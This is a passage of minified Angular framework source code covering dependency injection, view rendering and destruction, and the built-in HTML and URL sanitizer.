l=e,v=t;for(;null!==l&&null!==v&&1024&v[h1]&&!(256&v[h1]);){const F=Z2(l,v,i,r|Ie.Self,_2);if(F!==_2)return F;let Y=l.parent;if(!Y){const me=v[li];if(me){const $e=me.get(i,_2,r);if($e!==_2)return $e}Y=Dr(v),v=v[cn]}l=Y}return o}(e,t,i,r,_2);if(v!==_2)return v}const l=Z2(e,t,i,r,_2);if(l!==_2)return l}return Nr(t,i,r,o)}function Z2(e,t,i,r,o){const l=function Q2(e){if("string"==typeof e)return e.charCodeAt(0)||0;const t=e.hasOwnProperty(Zt)?e[Zt]:void 0;return"number"==typeof t?t>=0?t&K2:ea:t}(i);if("function"==typeof l){if(!S1(t,e,r))return r&Ie.Host?lr(o,0,r):Nr(t,i,r,o);try{const v=l(r);if(null!=v||r&Ie.Optional)return v;q()}finally{wn()}}else if("number"==typeof l){let v=null,F=Fr(e,t),Y=Ve,me=r&Ie.Host?t[X1][V1]:null;for((-1===F||r&Ie.SkipSelf)&&(Y=-1===F?V2(e,t):t[F+8],Y!==Ve&&Br(r,!1)?(v=t[Qt],F=Ii(Y),t=ji(Y,t)):F=-1);-1!==F;){const $e=t[Qt];if(Vr(l,F,$e.data)){const ft=Xr(F,t,i,v,r,me);if(ft!==_2)return ft}Y=t[F+8],Y!==Ve&&Br(r,t[Qt].data[F+8]===me)&&Vr(l,F,t)?(v=$e,F=Ii(Y),t=ji(Y,t)):F=-1}}return o}function Xr(e,t,i,r,o,l){const v=t[Qt],F=v.data[e+8],$e=Jn(F,v,i,null==r?Hn(F)&&or:r!=v&&0!=(3&F.type),o&Ie.Host&&l===F);return null!==$e?k2(t,v,$e,F):_2}function Jn(e,t,i,r,o){const l=e.providerIndexes,v=t.data,F=1048575&l,Y=e.directiveStart,$e=l>>20,zt=o?F+$e:e.directiveEnd;for(let Nt=r?F:F+$e;Nt<zt;Nt++){const Kt=v[Nt];if(Nt<Y&&i===Kt||Nt>=Y&&Kt.type===i)return Nt}if(o){const Nt=v[Y];if(Nt&&pn(Nt)&&Nt.type===i)return Y}return null}function k2(e,t,i,r){let o=e[i];const l=t.data;if(function Ht(e){return e instanceof ht}(o)){const v=o;v.resolving&&function K(e,t){const i=t?`. Dependency path: ${t.join(" > ")} > ${e}`:"";throw new Q(-200,`Circular dependency in DI detected for ${e}${i}`)}(function k(e){return"function"==typeof e?e.name||e.toString():"object"==typeof e&&null!=e&&"function"==typeof e.type?e.type.name||e.type.toString():Ce(e)}(l[i]));const F=$2(v.canSeeViewProviders);v.resolving=!0;const Y=v.injectImpl?m(v.injectImpl):null;S1(e,r,Ie.Default);try{o=e[i]=v.factory(void 0,l,e,r),t.firstCreatePass&&i>=r.directiveStart&&function v1(e,t,i){const{ngOnChanges:r,ngOnInit:o,ngDoCheck:l}=t.type.prototype;if(r){const v=Ui(t);(i.preOrderHooks??(i.preOrderHooks=[])).push(e,v),(i.preOrderCheckHooks??(i.preOrderCheckHooks=[])).push(e,v)}o&&(i.preOrderHooks??(i.preOrderHooks=[])).push(0-e,o),l&&((i.preOrderHooks??(i.preOrderHooks=[])).push(e,l),(i.preOrderCheckHooks??(i.preOrderCheckHooks=[])).push(e,l))}(i,l[i],t)}finally{null!==Y&&m(Y),$2(F),v.resolving=!1,wn()}}return o}function Vr(e,t,i){return!!(i[t+(e>>Cr)]&1<<e)}function Br(e,t){return!(e&Ie.Self||e&Ie.Host&&t)}class O2{constructor(t,i){this._tNode=t,this._lView=i}get(t,i,r){return Hr(this._tNode,this._lView,t,xe(r),i)}}function ea(){return new O2(W1(),Tt())}function ta(e){return pt(()=>{const t=e.prototype.constructor,i=t[Rt]||xr(t),r=Object.prototype;let o=Object.getPrototypeOf(e.prototype).constructor;for(;o&&o!==r;){const l=o[Rt]||xr(o);if(l&&l!==i)return l;o=Object.getPrototypeOf(o)}return l=>new l})}function xr(e){return H(e)?()=>{const t=xr(z(e));return t&&t()}:ai(e)}function Dr(e){const t=e[Qt],i=t.type;return 2===i?t.declTNode:1===i?e[V1]:null}function oi(e){return function Jr(e,t){if("class"===t)return e.classes;if("style"===t)return e.styles;const i=e.attrs;if(i){const r=i.length;let o=0;for(;o<r;){const l=i[o];if(kn(l))break;if(0===l)o+=2;else if("number"==typeof l)for(o++;o<r&&"string"==typeof i[o];)o++;else{if(l===t)return i[o+1];o+=2}}}return null}(W1(),e)}const Ri="__parameters__",J2="__prop__metadata__";function d2(e){return function(...i){if(e){const r=e(...i);for(const o in r)this[o]=r[o]}}}function T2(e,t,i){return pt(()=>{const r=d2(t);function o(...l){if(this instanceof o)return r.apply(this,l),this;const v=new o(...l);return F.annotation=v,F;function F(Y,me,$e){const ft=Y.hasOwnProperty(Ri)?Y[Ri]:Object.defineProperty(Y,Ri,{value:[]})[Ri];for(;ft.length<=$e;)ft.push(null);return(ft[$e]=ft[$e]||[]).push(v),Y}}return i&&(o.prototype=Object.create(i.prototype)),o.prototype.ngMetadataName=e,o.annotationCls=o,o})}function dr(e,t,i,r){return pt(()=>{const o=d2(t);function l(...v){if(this instanceof l)return o.apply(this,v),this;const F=new l(...v);return function Y(me,$e){const ft=me.constructor,zt=ft.hasOwnProperty(J2)?ft[J2]:Object.defineProperty(ft,J2,{value:{}})[J2];zt[$e]=zt.hasOwnProperty($e)&&zt[$e]||[],zt[$e].unshift(F),r&&r(me,$e,...v)}}return i&&(l.prototype=Object.create(i.prototype)),l.prototype.ngMetadataName=e,l.annotationCls=l,l})}class yn{constructor(t,i){this._desc=t,this.ngMetadataName="InjectionToken",this.\\u0275prov=void 0,"number"==typeof i?this.__NG_ELEMENT_ID__=i:void 0!==i&&(this.\\u0275prov=Be({token:this,providedIn:i.providedIn||"root",factory:i.factory}))}get multi(){return this}toString(){return`InjectionToken ${this._desc}`}}class wr{}const ra=dr("ViewChildren",(e,t={})=>({selector:e,first:!1,isViewQuery:!0,descendants:!0,emitDistinctChangesOnly:!0,...t}),wr);function R2(e,t){e.forEach(i=>Array.isArray(i)?R2(i,t):t(i))}function Sr(e,t,i){t>=e.length?e.push(i):e.splice(t,0,i)}function X2(e,t){return t>=e.length-1?e.pop():e.splice(t,1)[0]}function er(e,t){const i=[];for(let r=0;r<e;r++)i.push(t);return i}function Pi(e,t,i){let r=M(e,t);return r>=0?e[1|r]=i:(r=~r,function sa(e,t,i,r){let o=e.length;if(o==t)e.push(i,r);else if(1===o)e.push(r,e[0]),e[0]=i;else{for(o--,e.push(e[o-1],e[o]);o>t;)e[o]=e[o-2],o--;e[t]=i,e[t+1]=r}}(e,r,t,i)),r}function jr(e,t){const i=M(e,t);if(i>=0)return e[1|i]}function M(e,t){return function p(e,t,i){let r=0,o=e.length>>i;for(;o!==r;){const l=r+(o-r>>1),v=e[l<<i];if(t===v)return l<<i;v>t?o=l:r=l+1}return~(o<<i)}(e,t,1)}const On=Ae(T2("Optional"),8),Yi=Ae(T2("SkipSelf"),4);var L2=(()=>((L2=L2||{})[L2.Important=1]="Important",L2[L2.DashCase=2]="DashCase",L2))();const ma=new Map;let eo=0;const ge="__ngContext__";function et(e,t){dn(t)?(e[ge]=t[$n],function _s(e){ma.set(e[$n],e)}(t)):e[ge]=t}let b2;function s2(e,t){return b2(e,t)}function C2(e){const t=e[N1];return Sn(t)?t[N1]:t}function $r(e){return zr(e[fn])}function ir(e){return zr(e[Y1])}function zr(e){for(;null!==e&&!Sn(e);)e=e[Y1];return e}function Kr(e,t,i,r,o){if(null!=r){let l,v=!1;Sn(r)?l=r:dn(r)&&(v=!0,r=r[w1]);const F=en(r);0===e&&null!==i?null==o?oo(t,i,F):Tr(t,i,F,o||null,!0):1===e&&null!==i?Tr(t,i,F,o||null,!0):2===e?function o4(e,t,i){const r=lo(e,t);r&&function n4(e,t,i,r){e.removeChild(t,i,r)}(e,r,t,i)}(t,F,v):3===e&&t.destroyNode(F),null!=l&&function Lc(e,t,i,r,o){const l=i[ri];l!==en(i)&&Kr(t,e,r,l,o);for(let F=ln;F<i.length;F++){const Y=i[F];ws(Y[Qt],Y,e,t,r,l)}}(t,e,l,i,o)}}function Ms(e,t,i){return e.createElement(t,i)}function no(e,t){const i=e[Nn],r=i.indexOf(t),o=t[N1];512&t[h1]&&(t[h1]&=-513,c2(o,-1)),i.splice(r,1)}function xs(e,t){if(e.length<=ln)return;const i=ln+t,r=e[i];if(r){const o=r[Pn];null!==o&&o!==e&&no(o,r),t>0&&(e[i-1][Y1]=r[Y1]);const l=X2(e,ln+t);!function Ko(e,t){ws(e,t,t[D1],2,null,null),t[w1]=null,t[V1]=null}(r[Qt],r);const v=l[An];null!==v&&v.detachView(l[Qt]),r[N1]=null,r[Y1]=null,r[h1]&=-65}return r}function ro(e,t){if(!(128&t[h1])){const i=t[D1];i.destroyNode&&ws(e,t,i,3,null,null),function qo(e){let t=e[fn];if(!t)return Ds(e[Qt],e);for(;t;){let i=null;if(dn(t))i=t[fn];else{const r=t[ln];r&&(i=r)}if(!i){for(;t&&!t[Y1]&&t!==e;)dn(t)&&Ds(t[Qt],t),t=t[N1];null===t&&(t=e),dn(t)&&Ds(t[Qt],t),i=t&&t[Y1]}t=i}}(t)}}function Ds(e,t){if(!(128&t[h1])){t[h1]&=-65,t[h1]|=128,function t4(e,t){let i;if(null!=e&&null!=(i=e.destroyHooks))for(let r=0;r<i.length;r+=2){const o=t[i[r]];if(!(o instanceof ht)){const l=i[r+1];if(Array.isArray(l))for(let v=0;v<l.length;v+=2){const F=o[l[v]],Y=l[v+1];bn(4,F,Y);try{Y.call(F)}finally{bn(5,F,Y)}}else{bn(4,o,l);try{l.call(o)}finally{bn(5,o,l)}}}}}(e,t),function e4(e,t){const i=e.cleanup,r=t[vn];let o=-1;if(null!==i)for(let l=0;l<i.length-1;l+=2)if("string"==typeof i[l]){const v=i[l+3];v>=0?r[o=v]():r[o=-v].unsubscribe(),l+=2}else{const v=r[o=i[l+1]];i[l].call(v)}if(null!==r){for(let l=o+1;l<r.length;l++)(0,r[l])();t[vn]=null}}(e,t),1===t[Qt].type&&t[D1].destroy();const i=t[Pn];if(null!==i&&Sn(t[N1])){i!==t[N1]&&no(i,t);const r=t[An];null!==r&&r.detachView(e)}!function ys(e){ma.delete(e[$n])}(t)}}function ao(e,t,i){return function so(e,t,i){let r=t;for(;null!==r&&40&r.type;)r=(t=r).parent;if(null===r)return i[w1];{const{componentOffset:o}=r;if(o>-1){const{encapsulation:l}=e.data[r.directiveStart+o];if(l===fe.None||l===fe.Emulated)return null}return _n(r,i)}}(e,t.parent,i)}function Tr(e,t,i,r,o){e.insertBefore(t,i,r,o)}function oo(e,t,i){e.appendChild(t,i)}function co(e,t,i,r,o){null!==r?Tr(e,t,i,r,o):oo(e,t,i)}function lo(e,t){return e.parentNode(t)}function T3(e,t,i){return k3(e,t,i)}let r4,fo,d4,po,k3=function L3(e,t,i){return 40&e.type?_n(e,i):null};function uo(e,t,i,r){const o=ao(e,r,t),l=t[D1],F=T3(r.parent||t[V1],r,t);if(null!=o)if(Array.isArray(i))for(let Y=0;Y<i.length;Y++)co(l,o,i[Y],F,!1);else co(l,o,i,F,!1);void 0!==r4&&r4(l,r,t,i,o)}function ho(e,t){if(null!==t){const i=t.type;if(3&i)return _n(t,e);if(4&i)return s4(-1,e[t.index]);if(8&i){const r=t.child;if(null!==r)return ho(e,r);{const o=e[t.index];return Sn(o)?s4(-1,o):en(o)}}if(32&i)return s2(t,e)()||en(e[t.index]);{const r=a4(e,t);return null!==r?Array.isArray(r)?r[0]:ho(C2(e[X1]),r):ho(e,t.next)}}return null}function a4(e,t){return null!==t?e[X1][V1].projection[t.projection]:null}function s4(e,t){const i=ln+e+1;if(i<t.length){const r=t[i],o=r[Qt].firstChild;if(null!==o)return ho(r,o)}return t[ri]}function c4(e,t,i,r,o,l,v){for(;null!=i;){const F=r[i.index],Y=i.type;if(v&&0===t&&(F&&et(en(F),r),i.flags|=2),32!=(32&i.flags))if(8&Y)c4(e,t,i.child,r,o,l,!1),Kr(t,e,o,F,l);else if(32&Y){const me=s2(i,r);let $e;for(;$e=me();)Kr(t,e,o,$e,l);Kr(t,e,o,F,l)}else 16&Y?I3(e,t,r,i,o,l):Kr(t,e,o,F,l);i=v?i.projectionNext:i.next}}function ws(e,t,i,r,o,l){c4(i,r,e.firstChild,t,o,l,!1)}function I3(e,t,i,r,o,l){const v=i[X1],Y=v[V1].projection[r.projection];if(Array.isArray(Y))for(let me=0;me<Y.length;me++)Kr(t,e,o,Y[me],l);else c4(e,t,Y,v[N1],o,l,!0)}function R3(e,t,i){""===i?e.removeAttribute(t,"class"):e.setAttribute(t,"class",i)}function P3(e,t,i){const{mergedAttrs:r,classes:o,styles:l}=i;null!==r&&rn(e,t,r),null!==o&&R3(e,t,o),null!==l&&function Oc(e,t,i){e.setAttribute(t,"style",i)}(e,t,l)}function Fa(e){return function l4(){if(void 0===fo&&(fo=null,ie.trustedTypes))try{fo=ie.trustedTypes.createPolicy("angular",{createHTML:e=>e,createScript:e=>e,createScriptURL:e=>e})}catch{}return fo}()?.createHTML(e)||e}function Fc(e){d4=e}function u4(){if(void 0===po&&(po=null,ie.trustedTypes))try{po=ie.trustedTypes.createPolicy("angular#unsafe-bypass",{createHTML:e=>e,createScript:e=>e,createScriptURL:e=>e})}catch{}return po}function N3(e){return u4()?.createHTML(e)||e}function V3(e){return u4()?.createScriptURL(e)||e}class va{constructor(t){this.changingThisBreaksApplicationSecurity=t}toString(){return`SafeValue must use [property]=binding: ${this.changingThisBreaksApplicationSecurity} (see ${G})`}}class Nc extends va{getTypeName(){return"HTML"}}class Hc extends va{getTypeName(){return"Style"}}class Vc extends va{getTypeName(){return"Script"}}class Bc extends va{getTypeName(){return"URL"}}class B3 extends va{getTypeName(){return"ResourceURL"}}function Lr(e){return e instanceof va?e.changingThisBreaksApplicationSecurity:e}function Na(e,t){const i=function Uc(e){return e instanceof va&&e.getTypeName()||null}(e);if(null!=i&&i!==t){if("ResourceURL"===i&&"URL"===t)return!0;throw new Error(`Required a safe ${t}, got a ${i} (see ${G})`)}return i===t}function Gc(e){return new Nc(e)}function jc(e){return new Hc(e)}function U3(e){return new Vc(e)}function Yc(e){return new Bc(e)}function Wc(e){return new B3(e)}class $c{constructor(t){this.inertDocumentHelper=t}getInertBodyElement(t){t="<body><remove></remove>"+t;try{const i=(new window.DOMParser).parseFromString(Fa(t),"text/html").body;return null===i?this.inertDocumentHelper.getInertBodyElement(t):(i.removeChild(i.firstChild),i)}catch{return null}}}class Kc{constructor(t){this.defaultDoc=t,this.inertDocument=this.defaultDoc.implementation.createHTMLDocument("sanitization-inert")}getInertBodyElement(t){const i=this.inertDocument.createElement("template");return i.innerHTML=Fa(t),i}}const Qc=/^(?!javascript:)(?:[a-z0-9+.-]+:|[^&:\\/?#]*(?:[\\/?#]|$))/i;function As(e){return(e=String(e)).match(Qc)?e:"unsafe:"+e}function kr(e){const t={};for(const i of e.split(","))t[i]=!0;return t}function Ss(...e){const t={};for(const i of e)for(const r in i)i.hasOwnProperty(r)&&(t[r]=!0);return t}const j3=kr("area,br,col,hr,img,wbr"),Y3=kr("colgroup,dd,dt,li,p,tbody,td,tfoot,th,thead,tr"),W3=kr("rp,rt"),h4=Ss(j3,Ss(Y3,kr("address,article,aside,blockquote,caption,center,del,details,dialog,dir,div,dl,figure,figcaption,footer,h1,h2,h3,h4,h5,h6,header,hgroup,hr,ins,main,map,menu,nav,ol,pre,section,summary,table,ul")),Ss(W3,kr("a,abbr,acronym,audio,b,bdi,bdo,big,br,cite,code,del,dfn,em,font,i,img,ins,kbd,label,map,mark,picture,q,ruby,rp,rt,s,samp,small,source,span,strike,strong,sub,sup,time,track,tt,u,var,video")),Ss(W3,Y3)),f4=kr("background,cite,href,itemtype,longdesc,poster,src,xlink:href"),$3=Ss(f4,kr("abbr,accesskey,align,alt,autoplay,axis,bgcolor,border,cellpadding,cellspacing,class,clear,color,cols,colspan,compact,controls,coords,datetime,default,dir,download,face,headers,height,hidden,hreflang,hspace,ismap,itemscope,itemprop,kind,label,lang,language,loop,media,muted,nohref,nowrap,open,preload,rel,rev,role,rows,rowspan,rules,scope,scrolling,shape,size,sizes,span,srclang,srcset,start,summary,tabindex,target,title,translate,type,usemap,valign,value,vspace,width"),kr("aria-activedescendant,aria-atomic,aria-autocomplete,aria-busy,aria-checked,aria-colcount,aria-colindex,aria-colspan,aria-controls,aria-current,aria-describedby,aria-details,aria-disabled,aria-dropeffect,aria-errormessage,aria-expanded,aria-flowto,aria-grabbed,aria-haspopup,aria-hidden,aria-invalid,aria-keyshortcuts,aria-label,aria-labelledby,aria-level,aria-live,aria-modal,aria-multiline,aria-multiselectable,aria-orientation,aria-owns,aria-placeholder,aria-posinset,aria-pressed,aria-readonly,aria-relevant,aria-required,aria-roledescription,aria-rowcount,aria-rowindex,aria-rowspan,aria-selected,aria-setsize,aria-sort,aria-valuemax,aria-valuemin,aria-valuenow,aria-valuetext")),qc=kr("script,style,template");class Jc{constructor(){this.sanitizedSomething=!1,this.buf=[]}sanitizeChildren(t){let i=t.firstChild,r=!0;for(;i;)if(i.nodeType===Node.ELEMENT_NODE?r=this.startElement(i):i.nodeType===Node.TEXT_NODE?this.chars(i.nodeValue):this.sanitizedSomething=!0,r&&i.firstChild)i=i.firstChild;else for(;i;){i.nodeType===Node.ELEMENT_NODE&&this.endElement(i);let o=this.checkClobberedElement(i,i.nextSibling);if(o){i=o;break}i=this.checkClobberedElement(i,i.parentNode)}return this.buf.join("")}startElement(t){const i=t.nodeName.toLowerCase();if(!h4.hasOwnProperty(i))return this.sanitizedSomething=!0,!qc.hasOwnProperty(i);this.buf.push("<"),this.buf.push(i);const r=t.attributes;for(let o=0;o<r.length;o++){const l=r.item(o),v=l.name,F=v.toLowerCase();if(!$3.hasOwnProperty(F)){this.sanitizedSomething=!0;continue}let Y=l.value;f4[F]&&(Y=As(Y)),this.buf.push(" ",v,\'="\',K3(Y),\'"\')}return this.buf.push(">"),!0}endElement(t){const i=t.nodeName.toLowerCase();h4.hasOwnProperty(i)&&!j3.hasOwnProperty(i)&&(this.buf.push("</"),this.buf.push(i),this.buf.push(">"))}chars(t){this.buf.push(K3(t))}checkClobberedElement(t,i){if(i&&(t.compareDocumentPosition(i)&Node.DOCUMENT_POSITION_CONTAINED_BY)===Node.DOCUMENT_POSITION_CONTAINED_BY)throw new Error(`Failed to sanitize html because the element is clobbered: ${t.outerHTML}`);return i}}const Xc=/[\\uD800-\\uDBFF][\\uDC00-\\uDFFF]/g,el=/([^\\#-~ |!])/g;function K3(e){return e.replace(/&/g,"&").replace(Xc,function(t){return"&#"+(1024*(t.charCodeAt(0)-55296)+(t.charCodeAt(1)-56320)+65536)+";"}).replace(el,function(t){return"&#"+t.charCodeAt(0)+";"}).replace(/</g,"<").replace(/>/g,">")}let mo;function Z3(e,t){let i=null;try{mo=mo||function G3(e){const t=new Kc(e);return function Zc(){try{return!!(new window.DOMParser).parseFromString(Fa(""),"text/html")}catch{return!1}}()?new $c(t):t}(e);let r=t?String(t):"";i=mo.getInertBodyElement(r);let o=5,l=r;do{if(0===o)throw new Error("Failed to sanitize html because the input is unstable");o--,r=l,l=i.innerHTML,i=mo.getInertBodyElement(r)}while(r!==l);return Fa((new Jc).sanitizeChildren(p4(i)||i))}finally{if(i){const r=p4(i)||i;for(;r.firstChild;)r.removeChild(r.firstChild)}}}function p4(e){return"content"in e&&function tl(e){return e.nodeType===Node.ELEMENT_NODE&&"TEMPLATE"===e.nodeName}(e)?e.content:null}var Si=(()=>((Si=Si||{})[Si.NONE=0]="NONE",Si[Si.HTML=1]="HTML",Si[Si.STYLE=2]="STYLE",Si[Si.SCRIPT=3]="SCRIPT",Si[Si.URL=4]="URL",Si[Si.RESOURCE_URL=5]="RESOURCE_URL",Si))();function Q3(e){const t=Es();return t?N3(t.sanitize(Si.HTML,e)||""):Na(e,"HTML")?N3(Lr(e)):Z3(function F3(){return void 0!==d4?d4:typeof document<"u"?document:void 0}(),Ce(e))}function q3(e){const t=Es();return t?t.sanitize(Si.STYLE,e)||"":Na(e,"Style")?Lr(e):Ce(e)}function m4(e){const t=Es();return t?t.sanitize(Si.URL,e)||"":Na(e,"URL")?Lr(e):As(Ce(e))}function J3(e){const t=Es();if(t)return V3(t.sanitize(Si.RESOURCE_URL,e)||"");if(Na(e,"ResourceURL"))return V3(Lr(e));throw new Q(904,!1)}function X3(e,t,i){return function al(e,t){return"src"===t&&("embed"===e||"frame"===e||"iframe"===e||"media"===e||"script"===e)||"href"===t&&("base"===e||"link"===e)?J3:m4}(t,i)(e)}function Es(){const e=Tt();return e&&e[ci]}const g4=new yn("ENVIRONMENT_INITIALIZER"),e6=new yn("INJECTOR",-1),t6=new yn("INJECTOR_DEF_TYPES");class n6{get(t,i=Vt){if(i===Vt){const r=new Error(`NullInjectorError: No provider for ${_(t)}!`);throw r.name="NullInjectorError",r}return i}}function sl(e){return{\\u0275providers:e}}function ol(...e){return{\\u0275providers:v4(0,e),\\u0275fromNgModule:!0}}function v4(e,...t){const i=[],r=new Set;let o;return R2(t,l=>{const v=l;_4(v,i,[],r)&&(o||(o=[]),o.push(v))}),void 0!==o&&i6(o,i),i}function i6(e,t){for(let i=0;i<e.length;i++){const{providers:o}=e[i];y4(o,l=>{t.push(l)})}}function _4(e,t,i,r){if(!(e=z(e)))return!1;let o=null,l=ct(e);const v=!l&&O(e);if(l||v){if(v&&!v.standalone)return!1;o=e}else{const Y=e.ngModule;if(l=ct(Y),!l)return!1;o=Y}const F=r.has(o);if(v){if(F)return!1;if(r.add(o),v.dependencies){const Y="function"==typeof v.dependencies?v.dependencies():v.dependencies;for(const me of Y)_4(me,t,i,r)}}else{if(!l)return!1;{if(null!=l.imports&&!F){let me;r.add(o);try{R2(l.imports,$e=>{_4($e,t,i,r)&&(me||(me=[]),me.push($e))})}finally{}void 0!==me&&i6(me,t)}if(!F){const me=ai(o)||(()=>new o);t.push({provide:o,useFactory:me,deps:at},{provide:t6,useValue:o,multi:!0},{provide:g4,useValue:()=>Pe(o),multi:!0})}const Y=l.providers;null==Y||F||y4(Y,$e=>{t.push($e)})}}return o!==e&&void 0!==e.providers}function y4(e,t){for(let i of e)j(i)&&(i=i.\\u0275providers),Array.isArray(i)?y4(i,t):t(i)}const cl=f({provide:String,useValue:f});function b4(e){return null!==e&&"object"==typeof e&&cl in e}function _a(e){return"function"==typeof e}const C4=new yn("Set Injector scope."),go={},dl={};let M4;function vo(){return void 0===M4&&(M4=new n6),M4}class ya{}class s6 extends ya{get destroyed(){return this._destroyed}constructor(t,i,r,o){super(),this.parent=i,this.source=r,this.scopes=o,this.records=new Map,this._ngOnDestroyHooks=new Set,this._onDestroyHooks=[],this._destroyed=!1,D4(t,v=>this.processProvider(v)),this.records.set(e6,Ha(void 0,this)),o.has("environment")&&this.records.set(ya,Ha(void 0,this));const l=this.records.get(C4);null!=l&&"string"==typeof l.value&&this.scopes.add(l.value),this.injectorDefTypes=new Set(this.get(t6.multi,at,Ie.Self))}destroy(){this.assertNotDestroyed(),this._destroyed=!0;try{for(const t of this._ngOnDestroyHooks)t.ngOnDestroy();for(const t of this._onDestroyHooks)t()}finally{this.records.clear(),this._ngOnDestroyHooks.clear(),this.injectorDefTypes.clear(),this._onDestroyHooks.length=0}}onDestroy(t){this._onDestroyHooks.push(t)}runInContext(t){this.assertNotDestroyed();const i=Fe(this),r=m(void 0);try{return t()}finally{Fe(i),m(r)}}get(t,i=Vt,r=Ie.Default){this.assertNotDestroyed(),r=xe(r);const o=Fe(this),l=m(void 0);try{if(!(r&Ie.SkipSelf)){let F=this.records.get(t);if(void 0===F){const Y=function ml(e){return"function"==typeof e||"object"==typeof e&&e instanceof yn}(t)&&w(t);F=Y&&this.injectableDefInScope(Y)?Ha(x4(t),go):null,this.records.set(t,F)}if(null!=F)return this.hydrate(t,F)}return(r&Ie.Self?vo():this.parent).get(t,i=r&Ie.Optional&&i===Vt?null:i)}catch(v){if("NullInjectorError"===v.name){if((v[qt]=v[qt]||[]).unshift(_(t)),o)throw v;return function Ct(e,t,i,r){const o=e[qt];throw t[_t]&&o.unshift(t[_t]),e.message=function jt(e,t,i,r=null){e=e&&"\\n"===e.charAt(0)&&e.charAt(1)==It?e.slice(2):e;let o=_(t);if(Array.isArray(t))o=t.map(_).join(" -> ");else if("object"==typeof t){let l=[];for(let v in t)if(t.hasOwnProperty(v)){let F=t[v];l.push(v+":"+("string"==typeof F?JSON.stringify(F):_(F)))}o=`{${l.join(", ")}}`}return`${i}${r?"("+r+")":""}[${o}]: ${e.replace(c1,"\\n ")}`}("\\n"+e.message,o,i,r),e[u1]=o,e[qt]=null,e}(v,t,"R3InjectorError",this.source)}throw v}finally{m(l),Fe(o)}}resolveInjectorInitializers(){const t=Fe(this),i=m(void 0);try{const r=this.get(g4.multi,at,Ie.Self);for(const o of r)o()}finally{Fe(t),m(i)}}toString(){const t=[],i=this.records;for(const r of i.keys())t.push(_(r));return`R3Injector[${t.join(", ")}]`}assertNotDestroyed(){if(this._destroyed)throw new Q(205,!1)}processProvider(t){let i=_a(t=z(t))?t:z(t&&t.provide);const r=function hl(e){return b4(e)?Ha(void 0,e.useValue):Ha(o6(e),go)}(t);if(_a(t)||!0!==t.multi)this.records.get(i);else{let o=this.records.get(i);o||(o=Ha(void 0,go,!0),o.factory=()=>J(o.multi),this.records.set(i,o)),i=t,o.multi.push(t)}this.records.set(i,r)}hydrate(t,i){return i.value===go&&(i.value=dl,i.value=i.factory()),"object"==typeof i.value&&i.value&&function pl(e){return null!==e&&"object"==typeof e&&"function"==typeof e.ngOnDestroy}(i.value)&&this._ngOnDestroyHooks.add(i.value),i.value}injectableDefInScope(t){if(!t.providedIn)return!1;const i=z(t.providedIn);return"string"==typeof i?"any"===i||this.scopes.has(i):this.injectorDefTypes.has(i)}}function x4(e){const t=w(e),i=null!==t?t.factory:ai(e);if(null!==i)return i;if(e instanceof yn)throw new Q(204,!1);if(e instanceof Function)return function ul(e){const t=e.length;if(t>0)throw er(t,"?"),new Q(204,!1);const i=function _e(e){return e&&(e[Je]||e[Dt])||null}(e);return null!==i?()=>i.factory(e):()=>new e}(e);throw new Q(204,!1)}function o6(e,t,i){let r;if(_a(e)){const o=z(e);return ai(o)||x4(o)}if(b4(e))r=()=>z(e.useValue);else if(function a6(e){return!(!e||!e.useFactory)}(e))r=()=>e.useFactory(...J(e.deps||[]));else if(function r6(e){return!(!e||!e.useExisting)}(e))r=()=>Pe(z(e.useExisting));else{const o=z(e&&(e.useClass||e.provide));if(!function fl(e){return!!e.deps}(e))return ai(o)||x4(o);r=()=>new o(...J(e.deps))}return r}function Ha(e,t,i=!1){return{factory:e,value:t,multi:i?[]:void 0}}function D4(e,t){for(const i of e)Array.isArray(i)?D4(i,t):i&&j(i)?D4(i.\\u0275providers,t):t(i)}class gl{}class w4{}class _l{resolveComponentFactory(t){throw function vl(e){const t=Error(`No component factory found for ${_(e)}. Did you add it to @NgModule.entryComponents?`);return t.ngComponent=e,t}(t)}}let zs=(()=>{class e{}return e.NULL=new _l,e})();function yl(){return Va(W1(),Tt())}function Va(e,t){return new Ts(_n(e,t))}let Ts=(()=>{class e{constructor(i){this.nativeElement=i}}return e.__NG_ELEMENT_ID__=yl,e})();function bl(e){return e instanceof Ts?e.nativeElement:e}class l6{}let Cl=(()=>{class e{}return e.__NG_ELEMENT_ID__=()=>function Ml(){const e=Tt(),i=Vn(W1().index,e);return(dn(i)?i:e)[D1]}(),e})(),xl=(()=>{class e{}return e.\\u0275prov=Be({token:e,providedIn:"root",factory:()=>null}),e})();class d6{constructor(t){this.full=t,this.major=t.split(".")[0],this.minor=t.split(".")[1],this.patch=t.split(".").slice(2).join(".")}}const Dl=new d6("15.2.10"),A4={},S4="ngOriginalError";function E4(e){return e[S4]}class Ls{constructor(){this._console=console}handleError(t){const i=this._findOriginalError(t);this._console.error("ERROR",t),i&&this._console.error("ORIGINAL ERROR",i)}_findOriginalError(t){let i=t&&E4(t);for(;i&&E4(i);)i=E4(i);return i||null}}function u6(e){return e.ownerDocument.defaultView}function h6(e){return e.ownerDocument}function Or(e){return e instanceof Function?e():e}function T4(e,t,i){let r=e.length;for(;;){const o=e.indexOf(t,i);if(-1===o)return o;if(0===o||e.charCodeAt(o-1)<=32){const l=t.length;if(o+l===r||e.charCodeAt(o+l)<=32)return o}i=o+1}}const f6="ng-template";function Ol(e,t,i){let r=0,o=!0;for(;r<e.length;){let l=e[r++];if("string"==typeof l&&o){const v=e[r++];if(i&&"class"===l&&-1!==T4(v.toLowerCase(),t,0))return!0}else{if(1===l){for(;r<e.length&&"string"==typeof(l=e[r++]);)if(l.toLowerCase()===t)return!0;return!1}"number"==typeof l&&(o=!1)}}return!1}function p6(e){return 4===e.type&&e.value!==f6}function Il(e,t,i){return t===(4!==e.type||i?e.value:f6)}function Rl(e,t,i){let r=4;const o=e.attrs||[],l=function Nl(e){for(let t=0;t<e.length;t++)if(kn(e[t]))return t;return e.length}(o);let v=!1;for(let F=0;F<t.length;F++){const Y=t[F];if("number"!=typeof Y){if(!v)if(4&r){if(r=2|1&r,""!==Y&&!Il(e,Y,i)||""===Y&&1===t.length){if(rr(r))return!1;v=!0}}else{const me=8&r?Y:t[++F];if(8&r&&null!==e.attrs){if(!Ol(e.attrs,me,i)){if(rr(r))return!1;v=!0}continue}const ft=Pl(8&r?"class":Y,o,p6(e),i);if(-1===ft){if(rr(r))return!1;v=!0;continue}if(""!==me){let zt;zt=ft>l?"":o[ft+1].toLowerCase();const 